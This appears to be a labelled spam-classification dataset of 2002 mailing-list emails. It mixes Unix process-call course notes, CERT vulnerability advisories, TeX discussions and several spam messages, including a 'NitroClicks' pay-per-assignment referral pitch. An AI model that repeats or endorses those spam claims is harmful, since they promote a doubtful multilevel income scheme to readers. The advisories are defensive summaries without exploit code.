iQCVAwUBPH1T3KCVPMXQI2HJAQGMbwP+NglOFSnTqmCynobjzrF8Onalm5cHNePn +fTVP3JVrw5ktpyxtjnqveoMzaai0utVMlIDh4K34MOyipSD37W0ZLRezs0okyN0 bQt1UTW+pfBQX8CsZ1anCncEmF0/+fBcl3iNtp7jAT99PJveRCsH8GJVpHx/4nT1 pHvl8ng0VWs= =+NsK -----END PGP SIGNATURE----- ",0,1 j s ,"worldcons@worldcon.org, isa@alpha.ece.ucsb.edu","Wed, 27 Feb 2002 20:14:24 -0800",Fw: Get $10 for the signup and earn extra income from completing easy assignments!,"NITROCLICKS: 30 ASSIGNMENT/MONTH: min.=$15; max.=$600 - $10.00 for the registration - $1.0 - $20.00 for each assignment completed - 10 percent of direct referrals' revenue (people that you refer to join us) - 5 percent of indirect referrals' revenue (referrals made by your referrals - 5 levels deep) http://www.nitroclicks.com/join.phtml?refered=jsyqj _____________________________________________________________ Free email, web pages, news, entertainment, weather and MORE! Check out -------------------------------> http://wowmail.com _____________________________________________________________ You deserve a better email address! Get personalized email @yourname or @yourcompany from Everyone.net --> http://www.everyone.net?tag ",1,1 Csaba Andras Moritz ,RAKSIT ASHOK ,"Thu, 28 Feb 2002 09:24:04 -0800",Please forward to the ECE397A mailing list,"Important process related Unix system calls and hints for HW1 For HW1 use ""sleep(seconds)"" for sleeping a process. Read below for the other Unix calls. Use ""kill(pid, signal_type)"" to kill a process. Use the fork() call to create a process. Use the wait and waitpid() to wait inbetween the parent and children (see below). See below for more information related to UNIX calls that could be used and examples. If you have questions please send email to me or the TAs. The fork() System Call To create a new process in UNIX the fork() system call is used. fork() creates a new context based on the context of the calling process. The fork() call is unusual in that it returns twice: It returns in both the process calling fork() and in the newly created process. The synopsis for fork() is as follows: #include pid_t fork(void); pid_t vfork(void); If fork() is sucessful, it returns a number of type pid_t which is greater than 0 and represents the PID of the newly created child process. In the child process, fork() returns 0. If fork() fails then its return value will be less than 0. vfork() is a more efficient version of fork(), which does not duplicate the entire parent context. vfork() is suitable for use with exec(), which will be described later. A trivial example of fork() follows. Here, the parent process prints ``Hello'' to stdout, and the new child process prints ``World.''. Note that the order of printing is not guaranteed. Without some method of synchronising the processes execution, ``Hello'' may or may not be printed before ``World.''. #include #include char string1[] = ""Hello""; char string2[] = ""World.\\n""; int main(void) { pid_t PID; PID = fork(); if (PID == 0) /* In the child process? */ printf(""%s"", string2); else /* In the parent process */ printf(""%s"", string1); exit(0); /* Executed by both processes */ The exec() Family of System Calls Often we wish to spawn a different process as a child of the process that is executing. In order to accomplish this, we must first create a new process using fork() and then replace the image of the child process with a new process image. The image of a new process is created by the operating system from an executable binary file stored on disk. The exec() family of system calls replace the image of the calling process with the image of a different process stored on disk. The synopsis of the exec() family of system calls follows: #include extern char **environ; int execl( const char *path, const char *arg, ...); int execlp( const char *file, const char *arg, ...); int execle( const char *path, const char *arg , ..., char *const envp[]); int exect( const char *path, char *const argv[]); int execv( const char *path, char *const argv[]); int execvp( const char *file, char *const argv[]); Refer to the exec manual page for a detailed discription of these functions. We shall only discuss execlp(). The listing below shows how execlp() is used to execute the UNIX ls program as a child of the parent process. #include #include int main(void) { pid_t PID; PID = vfork(); if (PID == 0) /* In the child process? */ execlp(""/bin/ls"", """"); /* Execute ls as the child */ wait((int *) 0); /* Wait for the child */ printf(""done!\\n""); exit(0); } When the child process executes execlp() its PID does not change, and the operating system still recognises the child process as belonging to the parent process. The child process terminates its execution as soon as ls has finished executing. Should execlp() (or any other member of the exec() family) fail to create a new process image then they will return a number less than 0. The wait() System Call In the above example for execl(), the wait() system call is being used to force the parent process to wait until its child process has terminated before it resumes execution. Hence ``done!'' is always going to be printed to the terminal after the output of ls has been displayed. The synopsis for wait() is as follows: #include #include pid_t wait(int *status) pid_t waitpid(pid_t pid, int *status, int options); The wait() system call suspends execution of the current process until a child of that process has terminated. If the child exits before wait() is executed then wait returns immediately. wait() accepts a single call-by-reference argument in which wait() stores the child processes exit value. If the argument to wait() is 0 then no attempt to return the childs exit status is made. The waitpid() system call suspends execution of the current process until the child with the specified PID terminates. This is useful if the current process has spawned multiple children but is only required to wait on a particular one. Refer to the on-line UNIX wait manual page for further details of waitpid(). The exit() System Call The purpose of the exit() system call is to gracefully terminate the currently executing process. A status number is returned by exit() to the parent of the terminating process. The status value is used to indicate if the terminating process was successful or not. Typically negative status values indicate an error occured, while 0 indicates successful execution. The synopsis for exit() follows: #include void exit(int status); The use of exit() to terminate a process is not required, but is encouraged to ensure that the status value of the terminating process is explicitly set. exit() never returns to the calling process, so it's return type is void. Any open streams and files belonging to the terminating process are automatically flushed and closed during exit(). Sending a Signal Unix supports the idea of sending software signals to a process. These signals are ways for other processes to interact with a running process outside the context of the hardware. The kill command is used to send a signal to a process. In addition, it is possible to write a signal handler in either C or the Shell that responds to a signal being sent. For example, many system administration utilities, such as the name server, respond to SIGHUP signal by re-reading their configuration file. This can then be used to update the process while running without having to terminate and restart the process. For many signals there is really nothing that can be done other than printing an appropriate error message and terminating the process. The signals that system administrators will use the most are the HUP, KILL, and STOP signals. The HUP signal as mentioned previously is used by some utilities as a way to notify the process to do something. The KILL signal is used to abort a process. The STOP command is used to pause a process. A common problem system administrators will see is one where a user made a mistake and is continuely forking new processes. While all users have some limit on the number of processes they can fork, as they reach that limit they will wait, if you kill a process the system will resume creating new processes on behalf of the user. The best way to handle this is to send the STOP signal to all processes. In this way, all processes are now suspended, then you can send a KILL signal to the processes. Since the processes were first suspended they can't create new processes as you kill the ones off. Signals available under Unix SIGHUP 01 hangup SIGINT 02 interrupt SIGQUIT 03[1] quit SIGILL 04[1] illegal instruction (not reset when caught) SIGTRAP 05[1][5] trace trap (not reset when caught) SIGABRT 06[1] abort SIGEMT 07[1][4] EMT instruction SIGFPE 08[1] floating point exception SIGKILL 09 kill (cannot be caught or ignored) SIGBUS 10[1] bus error SIGSEGV 11[1] segmentation violation SIGSYS 12[1] bad argument to system call SIGPIPE 13 write on a pipe with no one to read it SIGALRM 14 alarm clock SIGTERM 15 software termination signal SIGUSR1 16 user-defined signal 1 SIGUSR2 17 user-defined signal 2 SIGCLD 18[2] death of a child SIGPWR 19[2] power fail (not reset when caught) SIGSTOP 20[6] stop (cannot be caught or ignored) SIGTSTP 21[6] stop signal generated from keyboard SIGPOLL 22[3] selectable event pending SIGIO 23[2] input/output possible SIGURG 24[2] urgent condition on IO channel SIGWINCH 25[2] window size changes SIGVTALRM 26 virtual time alarm SIGPROF 27 profiling alarm SIGCONT 28[6] continue after stop (cannot be ignored) SIGTTIN 29[6] background read from control terminal SIGTTOU 30[6] background write to control terminal SIGXCPU 31 cpu time limit exceeded [see setrlimit(2)] SIGXFSZ 32 file size limit exceeded [see setrlimit(2)] Sending a Signal to Another Process: System Call kill() To send a signal to another process, we need to use the Unix system kill(). The following is the prototype of kill(): int kill(pid_t pid, int sig) a.. System call kill() takes two arguments. The first, pid, is the process ID you want to send a signal to, and the second, sig, is the signal you want to send. Therefore, you have to find some way to know the process ID of the other party. b.. If the call to kill() is successful, it returns 0; otherwise, the returned value is negative. c.. Because of this capability, kill() can also be considered as a communication mechanism among processes with signals SIGUSR1 and SIGUSR2. d.. The pid argument can also be zero or negative to indicate that the signal should be sent to a group of processes. But, for simplicity, we will not discuss this case.",0,0 CERT Advisory ,cert-advisory@cert.org,"Thu, 28 Feb 2002 15:11:46 -0500",CERT Summary CS-2002-01," -----BEGIN PGP SIGNED MESSAGE----- CERT Summary CS-2002-01 February 28, 2002 Each quarter, the CERT Coordination Center (CERT/CC) issues the CERT summary to draw attention to the types of attacks reported to our incident response team, as well as other noteworthy incident and vulnerability information. The summary includes pointers to sources of information for dealing with the problems. Past CERT summaries are available from: CERT Summaries http://www.cert.org/summaries/ ______________________________________________________________________ Recent Activity Since the last regularly scheduled CERT summary, issued in November 2001 (CS-2001-04), we have released several advisories, notably CA-2002-03, describing multiple vulnerabilities in SNMP. In addition, we have published 2001 statistics, our annual report, and a white paper on external computer security incidents. For more current information on activity being reported to the CERT/CC, please visit the CERT/CC Current Activity page. The Current Activity page is a regularly updated summary of the most frequent, high-impact types of security incidents and vulnerabilities being reported to the CERT/CC. The information on the Current Activity page is reviewed and updated as reporting trends change. CERT/CC Current Activity http://www.cert.org/current/current_activity.html 1. Multiple Vulnerabilities in SNMP Numerous vulnerabilities have been reported in multiple vendors' SNMP implementations. These vulnerabilities may allow unauthorized privileged access, denial-of-service attacks, or cause unstable behavior. If your site uses SNMP in any capacity, the CERT/CC encourages you to read this advisory and follow the advice provided in the Solution section. In addition to this advisory, we also have an FAQ on SNMP vulnerabilities. CERT Advisory CA-2002-03: Multiple Vulnerabilities In Many Implementations of the Simple Network Management Protocol (SNMP) http://www.cert.org/advisories/CA-2002-03.html Simple Network Management Protocol (SNMP) Vulnerabilities Frequently Asked Questions (FAQ) http://www.cert.org/tech_tips/snmp_faq.html 2. Exploitation of Vulnerability in Solaris CDE Subprocess Control Service Since CA-2001-31 was originally released last November, the CERT/CC has received reports of scanning for dtspcd (6112/tcp). Just recently, however, we have received credible reports of an exploit for Solaris systems. Using network traces provided by The Honeynet Project, we have confirmed that the dtspcd vulnerability identified in CA-2001-31 and discussed in VU#172583 is actively being exploited. CERT Advisory CA-2002-01: Exploitation of Vulnerability in CDE Subprocess Control Service http://www.cert.org/advisories/CA-2002-01.html CERT Advisory CA-2001-31: Buffer Overflow in CDE Subprocess Control Service http://www.cert.org/advisories/CA-2001-31.html Vulnerability Note #172583: Common Desktop Environment (CDE) Subprocess Control Service dtspcd contains buffer overflow http://www.kb.cert.org/vuls/id/172583 3. Buffer Overflow Vulnerability in Microsoft Windows UPnP Service Vulnerabilities in software included by default on Microsoft Windows XP, and optionally on Windows ME and Windows 98, may allow an intruder to execute arbitrary code on vulnerable systems, to launch denial-of-service attacks against vulnerable systems, or to use vulnerable systems to launch denial-of-service attacks against third-party systems. To date we have not received any confirmed reports of UPnP exploitation; however, we urge Windows users to follow the advice provided in CA-2001-37 to protect their systems. CERT Advisory CA-2001-37: Buffer Overflow in UPnP Service On Microsoft Windows http://www.cert.org/advisories/CA-2001-37.html Vulnerability Note #951555: Microsoft Windows Universal Plug and Play (UPNP) vulnerable to buffer overflow via malformed advertisement packets http://www.kb.cert.org/vuls/id/951555 Vulnerability Note #411059: Microsoft Windows Universal Plug and Play (UPNP) fails to limit the data returned in response to a NOTIFY message http://www.kb.cert.org/vuls/id/411059 4. Recent Activity Against Secure Shell Daemons There are multiple vulnerabilities in several implementations of the Secure Shell (SSH) protocol. The SSH protocol enables a secure communications channel from a client to a server. We are still seeing a high amount of scanning for SSH daemons, and we are receiving reports of exploitation. System administrators should review their configurations to ensure that they have applied all relevant patches. CERT Advisory CA-2001-35: Recent Activity Against Secure Shell Daemons http://www.cert.org/advisories/CA-2001-35.html Vulnerability Note #945216: SSH CRC32 attack detection code contains remote integer overflow http://www.kb.cert.org/vuls/id/945216 CERT Incident Note IN-2001-12: Exploitation of vulnerability in SSH1 CRC-32 compensation attack detector http://www.cert.org/incident_notes/IN-2001-12.html 5. Multiple Vulnerabilities in WU-FTPD WU-FTPD is a widely deployed software package used to provide File Transfer Protocol (FTP) services on UNIX and Linux systems. There are two vulnerabilities in WU-FTPD that expose a system to potential remote root compromise by anyone with access to the FTP service. These vulnerabilities have recently received increased scrutiny. CERT Advisory CA-2001-33: Multiple Vulnerabilities in WU-FTPD http://www.cert.org/advisories/CA-2001-33.html 6. W32/BadTrans Worm We have seen a steady stream of reports related to W32/Badtrans since November 2001. W32/BadTrans is a malicious Windows program distributed as an email file attachment. Because of a known vulnerability in Internet Explorer, some email programs, such as Outlook Express and Outlook, may execute the malicious program as soon as the email message is viewed. Windows users should apply appropriate patches and update their antivirus programs as described in IN-2001-14. CERT Incident Note IN-2001-14: W32/BadTrans Worm http://www.cert.org/incident_notes/IN-2001-14.html 7. ""Kaiten"" Malicious Code The CERT/CC has received reports of a new variant of the ""Kaiten"" malicious code being installed through exploitation of null default sa passwords in Microsoft SQL Server and Microsoft Data Engine. (Microsoft SQL 2000 Server will allow a null sa password to be used, but this is not default behavior.) Various sources have referred to this malicious code as ""W32/Voyager,"" ""Voyager Alpha Force,"" and ""W32/CBlade.worm."" CERT Incident Note IN-2001-13: ""Kaiten"" Malicious Code Installed by Exploiting Null Default Passwords in MS-SQL http://www.cert.org/incident_notes/IN-2001-13.html ______________________________________________________________________ What's New and Updated Since the last CERT Summary, we have published new and updated * CERT/CC 2001 Annual Report http://www.cert.org/annual_rpts/cert_rpt_01.html * Advisories http://www.cert.org/advisories/ * Computer Security Incident Response Team (CSIRT) Frequently Asked Questions http://www.cert.org/csirts/csirt_faq.html * External Security Incidents White Paper http://www.cert.org/archive/pdf/external-incidents.pdf * Incident Notes http://www.cert.org/incident_notes/ * CERT/CC Statistics http://www.cert.org/stats/cert_stats.html * Training Schedule http:/www.cert.org/training/ ______________________________________________________________________ This document is available from: http://www.cert.org/summaries/CS-2002-01.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2002 Carnegie Mellon University. -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPH6JoqCVPMXQI2HJAQGjUwQAu1bT6qi08N+dsPGZeEFWIMVxBPQbqmh5 W6ad/WSWAi1jNPhPIg4DmLgzUirSk7MOyybgcMEK0KZVhr+HB+0aHiHv/4lLlvmC re8rqW5gLGq/7AtoV1MfppeSdEKWfgWvUHX9NfZ5aDlS382pWoxTa2HnrxMkDDHe Pg57W9mlkyw= =jMzu -----END PGP SIGNATURE----- ",0,1 Joanna Cannon ,Lesson Study Listserv ,"Sun, 03 Mar 2002 20:17:29 -0500",topics being discussed on the LS Discussion Forum,"Dear Lesson Study Community, Here is a list of some of the topics that have been posted on the Lesson Study Discussion Forum: *how to fund lesson study *lesson study for high schools *the role of Japanese ""coaches"" in the lesson study process *staff motivation and integration of lesson study with other forms of professional development *lesson plan formats *issues that could arise from collaborative lesson planning *and other topics... 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(Videos of Jan can be see on the School Renewal WebCenter feature on Lesson Study.) ***Dr. LYNN LIPTAK, Principal of Public School #2, Paterson, NJ--one of the first principals/ administrators to implement lesson study in a U.S. school; ***CLEA FERNANDEZ, Assistant Professor and Director of the Lesson Study Research Group, Teachers College/ Columbia University. We look forward to your participation! --- Since the purpose of this listserv is to provide a communication network for individuals who are interested in lesson study, please feel free to post messages about lesson-study related announcements, events, and resources that you feel would be relevant to the lesson study community. If you are interested in discussing in-depth questions or insights, please use the collaborative lesson study discussion forum to conduct these online conversations: ""www.tc.columbia.edu/lessonstudy/discussionforums.html"". You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu ",0,1 REMexport ,tex-fonts@math.utah.edu,"Mon, 04 Mar 2002 06:31:06 -0700",New Buying & Import Leads,"Login  Contact Us  Home Catalogs Offers Companies Free Registration   remove me Safety Razor Blade Making Machines, Shaving Cream Can Making Cachine, Tooth Brush Making Machine Cosmetics And Perfule Making Machinery Sofa Offer Silk Flowers Office Partitions And Furniture Mailboxes And Gas Lamps Door Mats And Coil Mats, etc Black Out Curtain Cloth Brazil Sugar",1,1 CERT Advisory ,cert-advisory@cert.org,"Mon, 04 Mar 2002 14:44:18 -0500",CERT Advisory CA-2002-06 Vulnerabilities in Various Implementations of the,"-----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2002-06 Vulnerabilities in Various Implementations of the RADIUS Protocol Original release date: March 4, 2002 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected Systems running any of the following RADIUS implementations: * Ascend RADIUS versions 1.16 and prior * Cistron RADIUS versions 1.6.5 and prior * FreeRADIUS versions 0.3 and prior * GnuRADIUS versions 0.95 and prior * ICRADIUS versions 0.18.1 and prior * Livingston RADIUS versions 2.1 and earlier * RADIUS (previously known as Lucent RADIUS) versions 2.1 and prior * RADIUSClient versions 0.3.1 and prior * XTRADIUS 1.1-pre1 and prior * YARD RADIUS 1.0.19 and prior Overview Remote Authentication Dial In User Service (RADIUS) servers are used for authentication, authorization and accounting for terminals that speak the RADIUS protocol. Multiple vulnerabilities have been discovered in several implementations of the RADIUS protocol. I. Description Two vulnerabilities in various implementations of RADIUS clients and servers have been reported to several vendors and the CERT/CC. They are remotely exploitable, and on most systems result in a denial of service. VU#589523 may allow the execution of code if the attacker has knowledge of the shared secret. VU#589523 - Multiple implementations of the RADIUS protocol contain a digest calculation buffer overflow Multiple implementations of the RADIUS protocol contain a buffer overflow in the function that calculates message digests. During the message digest calculation, a string containing the shared secret is concatenated with a packet received without checking the size of the target buffer. This makes it possible to overflow the buffer with shared secret data. This can lead to a denial of service against the server. If the shared secret is known by the attacker, then it may be possible to use this information to execute arbitrary code with the privileges of the victim RADIUS server or client, usually root. It should be noted that gaining knowledge of the shared secret is not a trivial task. Systems Affected by VU#589523 * Ascend RADIUS versions 1.16 and prior * Cistron RADIUS versions 1.6.4 and prior * FreeRADIUS versions 0.3 and prior * GnuRADIUS versions 0.95 and prior * ICRADIUS versions 0.18.1 and prior * Livingston RADIUS versions 2.1 and earlier * RADIUS (commonly known as Lucent RADIUS) versions 2.1 and prior * RADIUSClient versions 0.3.1 and prior * YARD RADIUS 1.0.19 and prior * XTRADIUS 1.1-pre1 and prior VU#936683 - Multiple implementations of the RADIUS protocol do not adequately validate the vendor-length of vendor-specific attributes. Various RADIUS servers and clients permit the passing of vendor-specific and user-specific attributes. Several implementations of RADIUS fail to check the vendor-length of vendor-specific attributes. It is possible to cause a denial of service against RADIUS servers with a malformed vendor-specific attribute. RADIUS servers and clients fail to validate the vendor-length inside vendor-specific attributes. The vendor-length shouldn't be less than 2. If vendor-length is less than 2, the RADIUS server (or client) calculates the attribute length as a negative number. The attribute length is then used in various functions. In most RADIUS servers the function that performs this calculation is rad_recv() or radrecv(). Some applications may use the same logic to validate user-specific attributes and be vulnerable via the same method. Systems Affected by VU#936683 * Cistron RADIUS versions 1.6.5 and prior * FreeRADIUS versions 0.3 and prior * ICRADIUS versions 0.18.1 and prior * Livingston RADIUS versions 2.1 and earlier * YARD RADIUS 1.0.19 and prior * XTRADIUS 1.1-pre1 and prior II. Impact Both of the vulnerabilities allow an attacker can cause a denial of service of the RADIUS server. On some systems, VU#589523 may allow the execution of code if the attacker has knowledge of the shared secret. III. Solution Apply a patch, or upgrade to the version specified by your vendor. Block packets to the RADIUS server at the firewall Limit access to the RADIUS server to those addresses which are approved to authenticate to the RADIUS server. Note that this does not protect your server from attacks originating from these addresses. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. When vendors report new information to the CERT/CC, we update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Apple Mac OS X and Mac OS X Server -- Not vulnerable since RADIUS is not shipped with those products. Cisco Cisco Systems has reviewed the following products that implement RADIUS with regards to this vulnerability, and has determined that the following are NOT vulnerable to this issue; Cisco IOS, Cisco Catalyst OS, Cisco Secure PIX firewall, Cisco Secure Access Control System for Windows, Cisco Aironet, Cisco Access Registrar, and Cisco Resource Pooling Management Service. At this time, we are not aware of any Cisco products that are vulnerable to the issues discussed in this report. Cistron You state 2 vulnerabilities: 1. Digest Calculation Buffer Overflow Vulnerability Cistron Radius up to and including 1.6.4 is vulnerable 2. Invalid attribute length calculation on malformed Vendor-Specific attr. Cistron Radius up to and including 1.6.5 is vulnerable Today I have released version 1.6.6, which also fixes (2). The homepage is http://www.radius.cistron.nl/ on which you can also find the ChangeLog. An announcement to the cistron-radius mailinglist was also made today. So everybody should upgrade to 1.6.6. FreeBSD FreeBSD versions prior to 4.5-RELEASE (which is shipping today or tomorrow or so) do contain some of the RADIUS packages mentioned below: radiusd-cistron, freeradius, ascend-radius, icradius, and radiusclient. However, 4.5-RELEASE will not ship with any of these RADIUS packages, except radiusclient. Also, note that the information you [CERT/CC] have forwarded previously indicates that neither Merit RADIUS (radius-basic) nor radiusclient are vulnerable. Fujitsu Fujitsu's UXP/V operating system is not vulnerable because UXP/V does not support the Radius functionality. GnuRADIUS The bug was fixed in version 0.96. Hewlett-Packard We have tested our Version of RADIUS, and we are NOT vulnerable. IBM IBM's AIX operating system, all versions, is not vulnerable as we do not ship the RADIUS project with AIX. Juniper Networks Juniper products have been tested and are not affected by this vulnerability. Lucent Technologies, Inc. Lucent and Ascend ""Free"" RADIUS server Product Status Reiteration of product End of Life February 14, 2002 The purpose of this announcement is to make official the end of life of products based on the Livingston Enterprises RADIUS server, and to reiterate the terms of the original license. Prior to the Lucent Technologies acquisition of Ascend Communications and Livingston Enterprises, both companies distributed RADIUS servers at no cost to their customers. The initial Livingston server was RADIUS 1.16 followed in June 1999 by RADIUS 2.1. The Ascend server was based on the Livingston 1.16 product with the most recent version being released in June 1998. Lucent Technologies no longer distributes these products, does not provide any support services for these products, and has not done so for some time. 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However, as noted in the license terns, Lucent Technologies can not and does not assume any responsibility for any releases, present or future, based on these products. Replacement Product The replacement product is NavisRadius 4.x. NavisRadius is a fully supported commercial product currently available from Lucent Technologies. Please visit the NavisRadius product web site at http://www.lucentradius.com for product information and free evaluation copies. Richard Perlman NavisRadius Product Management Network Operations Software perl@lucent.com +1 510-747-5650 Microsoft We've completed our investigation into this issue based on the information provided and have determined that no version of Microsoft IAS is susceptible to either vulnerability. NetBSD Some of the affected radius daemons are available from NetBSD pkgsrc. It is highly advisable that you update to the latest versions available from pkgsrc. Also note that pkgsrc/security/audit-packages can be used to notify you when new pkgsrc related security issues are announced. Process Software MultiNet and TCPware do not provide a RADIUS implementation. RADIUS (previously known as Lucent RADIUS) I wish to advise that Lucent Radius 2.1 is vulnerable to VU#589523, but is not vulnerable to VU#936683. I have made an unofficial patch to this code to resolve this problem. It will be released in ftp://ftp.vergenet.net/pub/radius/ where previous patches to Radius by myself are available. RADIUSClient I've just uploaded version 0.3.2 of the radiusclient library to ftp://ftp.cityline.net/pub/radiusclient/radiusclient-0.3.2.tar.gz which contains a fix for the reported buffer overflow. Red Hat We do not ship any radius software as part of any of our main operating system. However, Cistron RADIUS was part of our PowerTools add-on software CD from versions 5.2 through 7.1. Thus while not installed by default, some users of Red Hat Linux may be using Cistron RADIUSD. Errata packages that fix this problem and our advisory will be available shortly on our web site at the URL below. At the same time users of the Red Hat Network will be able to update their systems to patched versions using the up2date tool. http://www.redhat.com/support/errata/RHSA-2002-030.html SCO The Caldera NON-Linux operating systems: OpenServer, UnixWare, and Open UNIX, do not ship Radius servers or clients. SGI SGI does not ship with a RADIUS server or client, so we are not vulnerable to these issues. Wind River Systems The current RADIUS client product from Wind River Systems, WindNet RADIUS 1.1, is not susceptible to VU#936683 and VU#589523 in our internal testing. VU#936683 - WindNet RADIUS will pass the packet up to the application. The application may need to be aware of the invalid attribute length. VU#589523 - WindNet RADIUS will drop the packet overflow. Please contact Wind River support at support@windriver.com or call (800) 458-7767 with any test reports related to VU#936683 and VU#589523. XTRADIUS We are trying to relase a new and fixed version of xtradius by the end of the month (version 1.2.1).. Right now the new version is on the CVS and we are testing it... YARD RADIUS Current version 1.0.19 of Yardradius (which is derived from Lucent 2.1) seems suffering both the problems. I think I will release a new version (1.0.20) which solves those buffer overflows before your suggested date [3/4/2002]. _________________________________________________________________ Our thanks to 3APA3A <3APA3A@security.nnov.ru> and Joshua Hill and for their cooperation, reporting and analysis of this vulnerability. _________________________________________________________________ Feedback about this Advisory can be sent to the author, Jason A. Rafail. _________________________________________________________________ Appendix B. - References 1. http://www.kb.cert.org/vuls/id/589523 2. http://www.kb.cert.org/vuls/id/936683 3. http://www.security.nnov.ru/advisories/radius.asp 4. http://www.untruth.org/~josh/security/radius 5. http://www.securityfocus.com/bid/3530 ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-06.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. 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Do you > have any suggestions for working around it or detecting it? > > Thanks for any help. > > Darrell > > PROGRAM PGDEM1 > INTEGER PGOPEN > IF (PGOPEN('/XWINDOW') .LE. 0) STOP > CALL PGEX1 > CALL PGCLOS > END > > SUBROUTINE PGEX1 > CALL PGENV(864000000864000.,864000086400000.,1.,100.,0,-1) > CALL PGTBOX('BSTNZHI',0.0,0,' ',0.0,0) > END Yes, strictly it is a bug, but it is a long-standing one and a difficult one to fix satisfactorily. The effect is machine dependent and usually manifests itself as an integer overflow or floating overflow. For PGBOX to work successfully, the endpoints of the axis must be representable withsufficient precision in normal float (not double), and the ratio of either endpoint to the tick interval must not be too large an integer. There are some things I could do to ameliorate the problem (e.g., changing the arguments of the relevant routines to double would help in some cases, but this would require a new API), but this would not be a full solution. In cases like this you should subtract a large offset from your quantities before trying to plot them. - Tim Timothy J. Pearson Astronomy Dept 105-24, Caltech, Pasadena, California 91125, USA Internet: tjp@astro.caltech.edu Telephone: +1 626 395-4980 FAX: +1 626 568-9352 ",0,0 """Berthold K.P. Horn"" ","Bernd Raichle , tex-fonts@sunshine.math.utah.edu","Wed, 06 Mar 2002 19:14:43 -0800","Re: Plethora of encodings, does it matter?","At 14:11 3/5/2002 +0100, Bernd Raichle wrote: > > The question wasn't why you should support some other encoding, > > but why style file so often use code that requires that the encoding > > be taken into account at all. It would be best if all that was left > to the > > xxxenc.def file and the style not make any references to the > > encoding at all. > >This is ok for macro packages used with LaTeX only but there are macro >packages which can be used with plain etc. You have mentioned >``ngerman.sty'' resp. ``german.sty''. These packages can be used with >Plain TeX and LaTeX. Oh. I forgot about that. I tend to deal with plain TeX and LaTeX 2.09 by \\inputting a separate file to deal with encoding issues, e.g \\input texnansi % for LY1. That currently does not define the various quotes, even though it defines other things like \\S and \\P, \\trademark, \\copyright etc. So it wouldn't help with ""ngerman"". >Because Plain TeX does not support font encodings I have to use the >old Knuthian CM text font encoding which is called ``OT1'' in LaTeX as is. .... >Nobody is perfect, thus I have implemented a scheme with some >deficiencies, e.g. the implementation for the left and right german >quotation marks \\glqq-\\glqq is asymmetric whereas it would be better >to do it more properly in a symmetric way. I already have a newer >versions where this is fixed and I hope to release it as soon as I >find enough free time to do some tests (including LY1 support, >Berthold, I have received your mail concerning the same design flaw). Great! Thanks. >For ``german.sty'' I have tried my best to support font encodings, as >many LaTeX(e) versions (starting from the one 1994/06/01 upto now ;-), >LaTeX 2.09, Plain TeX etc. and had done a lot of tests with many TeX >format files and macro file sets to remove as many bugs as possible. Regards, Berthold. ________ >Bernd Raichle ""Le langage est source >Autor des `german.sty' (aktuell: v2.5e) de malentendus"" >DE-TeX-FAQ: http://www.dante.de/faq/de-tex-faq/ (A. de Saint-Exupery) -- Berthold K.P. Horn mailto:bkph@ai.mit.edu http://www.ai.mit.edu/people/bkph (BK)",0,1 Inkjets2go ,tex-fonts@tug.org,"Thu, 07 Mar 2002 13:12:10 -0000",,"Visit www.inkjets2go.com for big savings, up to 60% over retail store prices on Inkjet Cartridges and Laser Toners.BUY ONE GET ONE FREE on all Epson, Brother and most Canon Inkjet ProductsAll products are 100% guaranteed.To be removed from this mailing list, reply to this email and put the word ""REMOVE"" in the subject line.",1,1 Rowland McDonnell ,tex-fonts ,"Mon, 04 Mar 2002 19:52:45 +0000",Re: tfm used by dvips,"At 6:31 PM +0000 4/3/2002, Lars Hellström wrote: >At 18.16 +0100 2002-03-04, Rowland McDonnell wrote: >>At 1:38 AM +0000 4/3/2002, Berthold K.P. Horn wrote: >>> On legacy >>> version of windows and on the Mac, ATM does this for you. >> >>ATM does not do this for me. ATM is not usable on modern versions of the >>MacOS - too unreliable for MacOS 9.1 and above, and absent from MacOS X >>entirely. > >I believe it (or something of equivalent functionality) has (finally) Apple had been shipping ATM with the MacOS for some time before MacOS X came out in `nearly good enough for end users' form. > been >built into the OS. MacOS X out-of-the-box can render Type 1 fonts, at least >if given in LWFN format. Yep - absolutely (I suspect - but haven't checked - that it can use pfbs as well; certainly MacOS 9.2.2 can use Truetype founts with the fount data kept in the data fork Windoze-style, *providing* that you also have a FOND resource to go with the fount file proper. I suspect that pfbs work similarly straightforwardly under MacOS X, perhaps more so) - MacOS X uses Display PDF for screen drawing, although Apple's managed to cock it up quite badly (there are encoding issues...) Rowland. ",0,0 """Berthold K.P. Horn"" ",tex-fonts ,"Sat, 09 Mar 2002 09:48:23 -0800","ATM, Mac OS X, 